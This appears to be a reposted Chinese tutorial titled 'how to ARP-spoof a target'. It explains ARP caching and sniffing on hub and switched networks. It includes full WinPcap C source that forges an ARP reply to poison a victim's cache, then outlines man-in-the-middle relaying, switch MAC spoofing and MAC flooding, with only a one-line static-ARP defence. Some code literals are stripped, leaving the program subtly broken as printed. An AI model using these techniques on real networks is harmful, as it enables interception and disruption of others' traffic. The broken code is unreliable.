實例講解如何對目標進行ARP欺騙

2021-01-13 中國軟體網

乙太網內的嗅探sniff對於網絡安全來說並不是什麼好事,雖然對於網絡管理員能夠跟蹤數據包並且發現網絡問題,但是如果被破壞者利用的話,就對整個網絡構成嚴重的安全威脅。

ARP緩存表假設這樣一個網絡:

E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left borderColorLight=black border=1>

――――――――――

| HUB |

――――――――――

HostA HostB HostC

其中:

A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假設B是屬於一個嗅探愛好者的,比如A機器的ARP緩存:

C:>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

這是192.168.10.1機器上的ARP緩存表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本地的ARP緩存表,找到C的IP位址的MAC地址,那麼就會進行數據傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那麼A首先要廣播一次ARP請求,當C接收到A 的請求後就發送一個應答,應答中包含有C的MAC地址,然後A接收到C的應答,就會更新本地的ARP緩存。接著使用這個MAC地址發送數據(由網卡附加MAC地址)。因此,本地高速緩存的這個ARP表是本地網絡流通的基礎,而且這個緩存是動態的。

集線器網絡(Hub-Based)

很多網絡都是用Hub進行連接的。數據包經過Hub傳輸到其他計算機的時候,Hub只是簡單地把這個數據包廣播到Hub的所有埠上。這就是上面舉例中的一種網絡結構。

現在A需要發送TCP數據包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那麼A將要廣播一個ARP請求,當C接收到這個請求後,就作出應答,然後A更新自己的ARP緩存表。並獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數據包,Ethernet幀中就包含了C的MAC地址。當數據包傳輸到HUB的時候,HUB直接把整個數據包廣播到所有的埠,然後C就能夠接收到A發送的數據包。

正因為HUB把數據廣播到所有的埠,所以計算機B也能夠收到A發送給C的數據包。這正是達到了B嗅探的目的。因此,Hub-Based的網絡基本沒有安全可言,嗅探在這樣的網絡中非常容易。

交換網絡(Switched Lan)

交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數據包進行埠廣播,它將通過自己的ARP緩存來決定數據包傳輸到那個埠上。因此,在交換網絡上,如果把上面例子中的HUB換為Switch,B就不會接收到A發送給C的數據包,即便設置網卡為混雜模式,也不能進行嗅探。

ARP欺騙(ARP spoofing)

ARP協議並不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設網絡中,B向A發送一個自己偽造的ARP應答,而這個應答中的數據為發送方IP位址是192.168.10.3(C的IP位址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應該是CC-CC-CC-CC-CC-CC,這裡被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP緩存(A可不知道被偽造了)。現在A機器的ARP緩存更新了:

C:>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

這可不是小事。區域網的網絡流通可不是根據IP位址進行,而是按照MAC地址進行傳輸。現在192.168.10.3的MAC地址在A上被改變成一個本不存在的MAC地址。現在A開始Ping 192.168.10.3,網卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結果是什麼呢?網絡不通,A根本不能Ping通C!!這就是一個簡單的ARP欺騙。

我們來實現這樣的ARP欺騙。這裡需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/),winpcap是一個偉大而且開放的項目。Windows環境下的nmap、snort、windump都是使用的winpcap。

// ARP Sender

#include "stdafx.h"

#include "Mac.h" //GetMacAddr(),我寫的把字符串轉換為MAC地址的函數,就不列在這裡了

#include

#include

#define EPT_IP 0x0800 /* type: IP */

#define EPT_ARP 0x0806 /* type: ARP */

#define EPT_RARP 0x8035 /* type: RARP */

#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 0x0001 /* ARP request */

#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr

{

unsigned char eh_dst[6]; /* destination ethernet addrress */

unsigned char eh_src[6]; /* source ethernet addresss */

unsigned short eh_type; /* ethernet pachet type */

}EHHDR, *PEHHDR;

typedef struct arphdr

{

unsigned short arp_hrd; /* format of hardware address */

unsigned short arp_pro; /* format of protocol address */

unsigned char arp_hln; /* length of hardware address */

unsigned char arp_pln; /* length of protocol address */

unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */

unsigned long arp_spa; /* sender protocol address */

unsigned char arp_tha[6]; /* target hardware address */

unsigned long arp_tpa; /* target protocol address */

}ARPHDR, *PARPHDR;

typedef struct arpPacket

{

EHHDR ehhdr;

ARPHDR arphdr;

} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])

{

static char AdapterList[Max_Num_Adapter][1024];

char szPacketBuf[600];

char MacAddr[6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;

int nRetCode, i;###NextPage###

//Get The list of Adapter

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

printf("Unable to retrieve the list of the adapters! ");

return 0;

}

temp = AdapterName;

temp1=AdapterName;

i = 0;

while ((*temp != )||(*(temp-1) != ))

{

if (*temp == )

{

memcpy(AdapterList,temp1,(temp-temp1)*2);

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum = i;

for (i = 0; i < AdapterNum; i++)

wprintf(L" %d- %s ", i+1, AdapterList);

printf(" ");

//Default open the 0

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);

//取第一個網卡(假設啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode = GetLastError();

printf("Unable to open the driver, Error Code : %lx ", nRetCode);

return 0;

}

lpPacket = PacketAllocatePacket();

if(lpPacket == NULL)

{

printf(" Error:failed to allocate the LPPACKET structure.");

return 0;

}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))

{

printf ("Get Mac address error! ");

}

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

{

printf ("Get Mac address error! ");

return 0;

}

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

ARPPacket.arphdr.arp_pro = htons(EPT_IP);

ARPPacket.arphdr.arp_hln = 6;

ARPPacket.arphdr.arp_pln = 4;

ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))

{

printf ("Get Mac address error! ");

return 0;

}

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址

ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP位址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

{

printf ("Get Mac address error! ");

return 0;

}

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標A的MAC地址

ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP位址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf("warning: Unable to send more than one packet in a single write! ");

}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf("Error sending the packets! ");

return 0;

}

printf ("Send ok! ");###NextPage###

// close the adapter and exit

PacketFreePacket(lpPacket);

PacketCloseAdapter(lpAdapter);

return 0;

}

於是A接收到一個被偽造的ARP應答。A被欺騙了!!倘若在區域網中看某某機器不順眼,乙太網中的嗅探太有作用了,但是交換網絡對嗅探進行了限制,讓嗅探深入程度大打折扣。不過,很容易就能夠發現,主機、Switch(動態更新地址表類型,下同)中的緩存表依然是(主要是)動態的。要在一個交換網絡中進行有效的嗅探工作(地下黨?),需要採用對付各種緩存表的辦法,連騙帶哄,甚至亂踹,在上面的ARP欺騙基礎中我們就能夠做到。

對目標進行ARP欺騙

就象上面程序中實現的一樣,對目標A進行欺騙,A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如果進行欺騙的時候,把C的MAC地址騙為BB-BB-BB-BB-BB-BB,於是A發送到C上的數據包都變成發送給B的了。這不正好是B能夠接收到A發送的數據包了麼,嗅探成功。

A對這個變化一點都沒有意識到,但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了!!B對接收到A發送給C的數據包可沒有轉交給C。做「man in the middle」,進行ARP重定向。打開B的IP轉發功能,A發送過來的數據包,轉發給C,好比一個路由器一樣。不過,假如B發送ICMP重定向的話就中斷了整個計劃。直接進行整個包的修改轉發,捕獲到A發送給的數據包,全部進行修改後再轉發給C,而C接收到的數據包完全認為是從A發送來的。不過,C發送的數據包又直接傳遞給A,倘若再次進行對C的ARP欺騙。現在B就完全成為A與C的中間橋梁了。

對Switch的MAC欺騙

Switch上同樣維護著一個動態的MAC緩存,它一般是這樣,首先,交換機內部有一個對應的列表,交換機的埠對應MAC地址表Port n <-> Mac記錄著每一個埠下面存在那些MAC地址,這個表開始是空的,交換機從來往數據幀中學習。舉例來說,當Port 1口所接的計算機發出了一個數據幀,這幀數據從Port 1進入交換機,交換機就取這個數據幀的原MAC地址AAAA,然後在地址表中記錄:Port 1 <-> AAAA, 以後,所有發向MAC地址為AAAA的數據幀,就全從Port 1口輸出,而不會從其它的口輸出。

跟前面對目標進行欺騙相類似。如果把Switch上的MAC-PORT表修改了,那麼對應的MAC和PORT就一樣跟著改變,本來不應該發送到嗅探器的數據結果發送過來了,這樣也達到了嗅探的目的。修改本地(B)發送的數據包MAC地址為原來A的MAC地址,當經過交換機的時候,交換機發現埠B對應的地址是機器A的MAC地址,於是就將會把A的MAC地址同埠B相對應,從而把發送給A的數據從埠B傳輸了,本來這些應該是傳送到埠A的。因此,從機器B就能夠獲得發送給A的數據。

但是,這裡有一個問題,A將接收不到數據了。嗅探不目的並不是要去破壞正常的數據通訊。同時,從剛才的欺騙中,讓交換機中一個MAC地址對應了多個埠,這種對於交換機處理還不清楚。還請多指教。

對Switch進行Flood

就象上面介紹Switch的MAC和Port對應關係形成的原理,因為MAC-PORT緩存表是動態更新的,那麼讓整個Switch的埠表都改變,對Switch進行MAC地址欺騙的Flood,不斷發送大量假MAC地址的數據包,Switch就更新MAC-PORT緩存,如果能通過這樣的辦法把以前正常的MAC和Port對應的關係破壞了,那麼Switch就會進行泛洪發送給每一個埠,讓Switch基本變成一個HUB,向所有的埠發送數據包,要嗅探的目的一樣能夠達到。

存在的問題,Switch對這種極限情況的處理,因為屬於不正常情況,可能會引起包丟失情況。而且現在對這種極限情況的Switch狀態還很不了解。如果對網絡通訊造成了大的破壞,這不屬於正常的嗅探(嗅探也會引起一些丟失)。

對Switch進行各種手段的操作,需要小心,如果打開了埠保護,那麼可能會讓交換機關閉所有用戶。因此,對交換機這樣的設備進行欺騙或者其他操作,還不如對一些上級設備進行欺騙,比如目標主機或者路由器。

至於上面關於嗅探的手段都是基於這個動態表進行的。因此,使用靜態的ARP就能夠進行防範了。對於WIN,使用arp -s 來進行靜態ARP的設置。




免責聲明:

本站系本網編輯轉載,會儘可能註明出處,但不排除無法註明來源的情況,轉載目的在於傳遞更多信息,並不代表本網贊同其觀點和對其真實性負責。如涉及作品內容、版權和其它問題,請在30日內與本網聯繫, 來信: liujun@soft6.com 我們將在收到郵件後第一時間刪除內容!

[聲明]本站文章版權歸原作者所有,內容為作者個人觀點,不代表本網站的觀點和對其真實性負責,本站擁有對此聲明的最終解釋權。

相關焦點

  • 什麼是arp地址?什麼是arp攻擊?如何利用arp命令解決網絡故障
    有朋友多次問到,如何防止ip地址衝突?如何解決?很多情況下ip地址衝突除了人為,大多數都是由arp所造成的,今天我們就一起來了解一下arp相關的內容。一、什麼是arp1、什麼是arp地址解析協議(Address Resolution Protocol),其基本功能為透過目標設備的IP位址,查詢目標設備的MAC地址,以保證通信的順利進行。
  • ARP協議揭密
    當發出ARP請求時,發送方填好發送方首部和發送方IP位址,還要填寫目標IP位址。當目標機器收到這個ARP廣播包時,就會在響應報文中填上自己的48位主機地址。2、ARP使用舉例我們先看一下linux下的arp命令(如果開始arp表中的內容為空的話,需要先對某臺主機進行一個連接,例如ping一下目標主機來產生一個arp項):
  • arp攻擊原理_arp攻擊怎麼解決
    打開APP arp攻擊原理_arp攻擊怎麼解決 網絡整理 發表於 2021-01-11 16:12:50   arp攻擊原理
  • ICMP/ARP協議解析及ARP欺騙
    ICMP/ARP協議解析及ARP欺騙 ICMP是TCP/IP協議簇的一個子協議,用於在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。
  • 網絡工程師應該了解的ARP知識
    設備是如何進行動態學習的呢?其實動態ARP主要是通過廣播ARP請求報文和單播ARP應答報文這兩個過程完成地址解析的。例如:小A和小C在一次聚會上互留了IP位址。Proxy ARP)前面我們提到,主機進行動態ARP學習時,如果發現目的IP位址與自己在同一網段,會發送廣播ARP請求報文進行ARP學習。
  • arp協議屬於哪一層_arp協議的主要功能
    打開APP arp協議屬於哪一層_arp協議的主要功能 網絡整理 發表於 2021-01-11 15:51:34   arp協議屬於哪一層
  • ARP路由式代理詳解
    華為設備開啟ARP代理功能三、如何實現ARP代理以主機A請求主機B為例:1、主機A發送arp廣播報文,請求主機B MAC地址。2、PE1收到廣播請求後,首先判斷自己是不是目標MAC地址(發現不是,則查找到達目標MAC的路徑)3、如果發現有到達目標MAC的路由,則查詢是否開啟ARP代理:如果發現開啟了ARP代理,則將自己接口的MAC地址發送給主機A;如果發現沒有開啟,則丟棄該報文。
  • ARP欺騙工具的使用及原理分析(工具篇)
    實驗目的#創作者賦能學院#通過本次實驗,我們將熟悉的操作ARP欺騙攻擊與防範工具的使用技巧;熟悉ARP欺騙攻擊的原理;實驗內容使用區域網終結者進行ARP欺騙;網絡執法官、ARP防火牆軟體的使用方法;實驗原理1、ARP及ARP欺騙原理: ARP(Address Resolution Protocol)即地址解析協議
  • 「神馬課堂」代理ARP之路由器代理ARP
    在沒有配置網關地址的情況下,兩臺主機需要進行數據通信時,發送方主機會向另一個網絡中的主機發送ARP請求,此時連接兩個網絡的路由設備能回復該ARP請求,發出ARP應答,這就是代理ARP。代理ARP有三種形式:路由器Proxy ARP、VLAN內Proxy ARP和VLAN間Proxy ARP。
  • arp是什麼意思 遭受arp攻擊怎麼辦【圖解】
    實際上,這正是小編今天要為大家介紹的一個數碼名詞:arp,那麼arp是什麼意思,ARP斷網攻擊時又該怎麼解決呢?相信你看過接下來這篇文章過後,你就會知曉一二了!它主要指的就是根據電腦的ip地址獲取到的一個物理地址上的ip協議,arp是建立在網絡中各個主機之間互相信任的前提下,它還可以對本機ARP緩存中的的ip地址以及mac地址這兩者的對應關係進行排查,由此做出添加以及刪除各種靜態對應關係等等,現在我們常見的相關協議有rarp、代理arp等等,如果ndp的用戶還能在IPv6中來代替arp。
  • 網絡命令Ping netstat ipconfig arp tracert用法整理
    -v 顯示正在進行的工作。-p 顯示建立相關連接的程序名和PID。-b 顯示在創建每個連接或偵聽埠時涉及的可執行程序。-e 顯示乙太網統計。此選項可以與 -s 選項結合使用。主機發送信息時將包含目標IP位址的ARP請求廣播到網絡上的所有主機,並接收返回消息,以此確定目標的物理地址;收到返回消息後將該IP位址和物理地址存入本機ARP緩存中並保留一定時間,下次請求時直接查詢ARP緩存以節約資源。常見用法arp -a或arp –g用於查看緩存中的所有項目。
  • 針對區域網ARP斷網攻擊監測及防禦追蹤的具體方法
    如何針對區域網arp斷網攻擊進行檢測呢?當區域網網速不穩定、或者計算機無法正常聯網、區域網網絡性能下降時,都有可能是區域網受到arp病毒攻擊所造成的,針對區域網arp攻擊以及防禦辦法,我們可以通過下面的方法來實現。
  • arp地址解析協議工作的基本原理
    arp協議 區域網一個很重要的協議arp是地址解析協議是發現兩個地址之間的映射關係的過程。在使用ipv4的tcp/ip協議族種,這是由arp來實現的。arp是供網絡層地址(也就是ip地址)到相關硬體地址的動態映射,為什麼說是動態映射呢,因為隨著硬體地址的改變,arp協議在一定的時間內會繼續提供映射關係,無需人工管理。
  • Python中判斷數字是否為質數的實例講解
    在本篇文章裡小編給大家分享了關於python中判斷數字是否為質數的實例講解內容,有興趣的朋友們可以學習下。
  • Excel函數公式完整版大全「實例講解」!老會計精心整理!
    Excel函數公式完整版大全【實例講解】!老會計精心整理!返回參數的反雙曲餘弦值ADDRESS :通過行號和列號返回單元格引用AMORDEGRC :返回每個會計期間的折舊值.此函數是為法國會計系統提供的AMORLINC: 返回每個會計期間的折舊值,該函數為法國會計系統提供AND:查看是否滿足所有條件……(文末送上免費完整版領取方式)目錄:ADDRESS函數實例講解
  • 區域網ARP病毒、ARP攻擊終極防範方法
    在區域網中,網絡中實際傳輸的是「幀」,幀裡面是有目標主機的MAC地址的。在乙太網中,一個主機要和另一個主機進行直接通信,必須要知道目標主機的MAC地址。但這個目標MAC地址是如何獲得的呢?它就是通過地址解析協議獲得的.    所謂「地址解析」就是主機在發送幀前將目標IP位址轉換成目標MAC地址的過程。
  • 安全指南:如何防止欺騙攻擊?
    通常,欺騙的主要目標是獲取個人信息、竊取金錢、繞過網絡訪問控制或通過受感染的附件或連結傳播惡意軟體。欺詐者會通過各種形式的在線通信來嘗試使用欺騙手段竊取受害者的身份和資產。欺騙攻擊是如何發生的?大多數呼叫者ID欺騙都是使用VoIP(網際網路協議語音)進行的,VoIP允許詐騙者創建自己選擇的電話號碼和呼叫者ID名稱。一旦呼叫接收者接聽電話,詐騙者將試圖說服他們洩漏重要信息。網站欺騙網站欺騙是指詐騙者試圖讓一個危險的網站看起來像一個安全的網站,使用合法的字體、顏色和標識。
  • 【實例講解】雙因素方差分析(Two-way Anova)
    【實例講解】單因素方差分析(One-way Anova)雙因素方差分析的前提同單因素方差分析一樣,是建立在三項假定的基礎上進行的:樣本數據符合正態分布;樣本數據滿足方差齊性要求